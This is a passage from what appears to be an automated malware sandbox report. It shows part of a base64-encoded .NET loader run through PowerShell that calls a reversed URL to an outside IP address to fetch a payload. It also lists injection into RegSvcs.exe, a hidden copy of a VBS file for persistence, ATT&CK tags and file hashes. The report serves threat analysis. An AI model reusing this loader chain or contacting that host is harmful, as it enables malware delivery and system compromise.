BAAEARgBpAGwAZQBEAGUAcwBjAHIAaQBwAHQAaQBvAG4AAAAAAAAAAAAwAAgAAQBGAGkAbABlAFYAZQByAHMAaQBvAG4AAAAAADEALgAwAC4AMAAuADAAAAA0AAoAAQBJAG4AdABlAHIAbgBhAGwATgBhAG0AZQAAAEYAaQBiAGUAcgAuAGQAbABsAAAAJgABAAEATABlAGcAYQBsAEMAbwBwAHkAcgBpAGcAaAB0AAAAAAAAACoAAQABAEwAZQBnAGEAbABUAHIAYQBkAGUAbQBhAHIAawBzAAAAAAAAAAAAPAAKAAEATwByAGkAZwBpAG4AYQBsAEYAaQBsAGUAbgBhAG0AZQAAAEYAaQBiAGUAcgAuAGQAbABsAAAAIgABAAEAUAByAG8AZAB1AGMAdABOAGEAbQBlAAAAAAAAAAAANAAIAAEAUAByAG8AZAB1AGMAdABWAGUAcgBzAGkAbwBuAAAAMQAuADAALgAwAC4AMAAAADgACAABAEEAcwBzAGUAbQBiAGwAeQAgAFYAZQByAHMAaQBvAG4AAAAxAC4AMAAuADAALgAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAMAAAAPDcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');[System.AppDomain]::CurrentDomain.Load($rOWg).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] ('fdp.tnemucod/tem/421.402.78.212//:ptth'))
      2⤵
      • Blocklisted process makes network request
      • Drops startup file
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2044
      • C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe" -WindowStyle Hidden Copy-Item -Path *.vbs -Destination C:\Windows\Temp\OneDrive.vbs
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2216
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        PID:4612

Network

MITRE ATT&CK Matrix ATT&CK v6

Discovery

Query Registry

1
T1012

System Information Discovery

2
T1082

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
    Filesize

    2KB

    MD5

    c92a19e2aa3d54fd422b3ecec69bde47

    SHA1

    6d4c693a2a4d72f3c41b08c04975922e4cf7b0e9

    SHA256

    9c0055938648d76251bfef67d44ac0e165a019ed030c0340a260b6b36d4a3f60

    SHA512

    e2d4fc1a78faee4f00ba17d502e447b5c7237ebd25f2863b4358b591db05071211118fa44c196d6e0a86633904e6d61daa2645b52cb901755b5ea8b2c079f887

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
    Filesize

    64B

    MD5

    d8b9a260789a22d72263ef3bb119108c

    SHA1

    376a9bd48726f422679f2cd65003442c0b6f6dd5

    SHA256

    d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc

    SHA512

    550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_04tuz1sy.dw3.ps1
    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/2044-145-0x0000020E2C5E0000-0x0000020E2C5F0000-memory.dmp
    Filesize

    64KB

  • memory/2044-146-0x0000020E2C5E0000-0x0000020E2C5F0000-memory.dmp
    Filesize

    64KB

  • memory/2044-140-0x0000020E2C590000-0x0000020E2C5B2000-memory.dmp
    Filesize

    136KB

  • memory/2216-162-0x000002045CC80000-0x000002045CC90000-memory.dmp
    Filesize

    64KB

  • memory/2216-160-0x000002045CC80000-0x000002045CC90000-memory.dmp
    Filesize

    64KB

  • memory/2216-165-0x000002045CC80000-0x000002045CC90000-memory.dmp
    Filesize

    64KB

  • memory/4612-156-0x0000000000400000-0x000000000040E000-memory.dmp
    Filesize

    56KB

  • memory/4612-167-0x0000000005240000-0x00000000052DC000-memory.dmp
    Filesize

    624KB

  • memory/4612-168-0x0000000005A40000-0x0000000005FE4000-memory.dmp
    Filesize

    5.6MB

  • memory/4612-169-0x0000000005500000-0x0000000005566000-memory.dmp
    Filesize

    408KB

  • memory/4612-170-0x0000000005710000-0x00000000057A2000-memory.dmp
    Filesize

    584KB

  • memory/4612-171-0x0000000005480000-0x0000000005490000-memory.dmp
    Filesize

    64KB

  • memory/4612-172-0x00000000056F0000-0x00000000056FA000-memory.dmp
    Filesize

    40KB

  • memory/4612-173-0x0000000005480000-0x0000000005490000-memory.dmp
    Filesize

    64KB